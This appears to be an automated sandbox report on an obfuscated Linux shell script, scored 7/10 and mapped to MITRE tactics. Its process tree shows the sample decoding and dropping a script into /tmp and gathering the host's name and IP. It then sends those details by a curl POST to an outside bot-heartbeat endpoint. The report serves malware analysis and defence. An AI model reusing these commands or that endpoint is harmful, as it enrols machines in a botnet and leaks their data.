Overview

overview

7

Static

static

1

6b94e16e48...obf.sh

ubuntu-18.04-amd64

7

6b94e16e48...obf.sh

debian-9-armhf

7

6b94e16e48...obf.sh

debian-9-mips

7

6b94e16e48...obf.sh

debian-9-mipsel

7

Analysis

  • max time kernel
    20s
  • max time network
    129s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20260513-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    13/09/2026, 18:35

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    6b94e16e486df4ae0960c0cf0ce0e0425a5b9a4b98ea18503468d4cdde93409e_original_obf.sh
  • Size 1KB
  • Sample260913-w8tx8scl4x
  • SHA256 3efd36c38edbd6965c1a7ff7dc5c8bcab98008020ffb00aad5c69b6305f1eaac
  • MD5 SHA1 SHA512 TLSH
Score
7/10
defense_evasiondiscovery

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Looks up external IP address via web service 1 TTPs 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

    discovery
  • Deobfuscate/Decode Files or Information 1 TTPs 1 IoCs

    Adversaries may deobfuscate or decode files or information to evade detection mechanisms.

    defense_evasion
  • Reads runtime system information 2 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 1 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/6b94e16e486df4ae0960c0cf0ce0e0425a5b9a4b98ea18503468d4cdde93409e_original_obf.sh
    /tmp/6b94e16e486df4ae0960c0cf0ce0e0425a5b9a4b98ea18503468d4cdde93409e_original_obf.sh
    1⤵
      PID:1504
    • /usr/local/sbin/bash
      bash /tmp/6b94e16e486df4ae0960c0cf0ce0e0425a5b9a4b98ea18503468d4cdde93409e_original_obf.sh
      1⤵
        PID:1504
      • /usr/local/bin/bash
        bash /tmp/6b94e16e486df4ae0960c0cf0ce0e0425a5b9a4b98ea18503468d4cdde93409e_original_obf.sh
        1⤵
          PID:1504
        • /usr/sbin/bash
          bash /tmp/6b94e16e486df4ae0960c0cf0ce0e0425a5b9a4b98ea18503468d4cdde93409e_original_obf.sh
          1⤵
            PID:1504
          • /usr/bin/bash
            bash /tmp/6b94e16e486df4ae0960c0cf0ce0e0425a5b9a4b98ea18503468d4cdde93409e_original_obf.sh
            1⤵
              PID:1504
            • /sbin/bash
              bash /tmp/6b94e16e486df4ae0960c0cf0ce0e0425a5b9a4b98ea18503468d4cdde93409e_original_obf.sh
              1⤵
                PID:1504
              • /bin/bash
                bash /tmp/6b94e16e486df4ae0960c0cf0ce0e0425a5b9a4b98ea18503468d4cdde93409e_original_obf.sh
                1⤵
                • Writes file to tmp directory
                PID:1504
                • /bin/mktemp
                  mktemp -d
                  2⤵
                    PID:1505
                  • /usr/bin/base64
                    base64 -d
                    2⤵
                    • Deobfuscate/Decode Files or Information
                    PID:1507
                  • /usr/bin/python3
                    python3 -c " import sys import zlib sys.stdout.buffer.write( zlib.decompress( sys.stdin.buffer.read() ) ) "
                    2⤵
                      PID:1508
                    • /bin/chmod
                      chmod +x /tmp/tmp.vlTZd1GCF0/embedded.sh
                      2⤵
                      • File and Directory Permissions Modification
                      PID:1513
                  • /bin/bash
                    bash /tmp/tmp.vlTZd1GCF0/embedded.sh
                    1⤵
                      PID:1504
                      • /usr/bin/awk
                        awk "-F\"" "/IOPlatformUUID/{print \$4}"
                        2⤵
                        • Reads runtime system information
                        PID:1516
                      • /bin/hostname
                        hostname
                        2⤵
                          PID:1517
                        • /usr/bin/curl
                          curl -s https://api.ipify.org
                          2⤵
                          • System Network Configuration Discovery
                          PID:1519
                        • /usr/bin/curl
                          curl -s -X POST https://pilautfile.com/api/bot/heartbeat -H "Content-Type: application/json" -d "{\"bot_id\":\"\",\"build_id\":\"d91d844ad8920458ee99e707b1a203cba8df76ce960195f0993eb3b0e96d893f\",\"hostname\":\"ubuntu1804-amd64-20260513-en-6\",\"ip\":\"85.203.46.129\",\"os_version\":\"\"}"
                          2⤵
                            PID:1527
                          • /bin/sed
                            sed -n "s/.*\"code\":\"\\([^\"]*\\)\".*/\\1/p"
                            2⤵
                            • Reads runtime system information
                            PID:1531

                        Network

                              MITRE ATT&CK Enterprise v16

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              embedded.sh
                              • Path /tmp/tmp.vlTZd1GCF0/embedded.sh
                              • Size 733B
                              • SHA256 c71039b8d2d396bda441d0b3d51a38e0a1b16e5a808f1e851b3c4b9bf7ac180a
                              • MD5 SHA1 SHA512 TLSH
                              Submit Download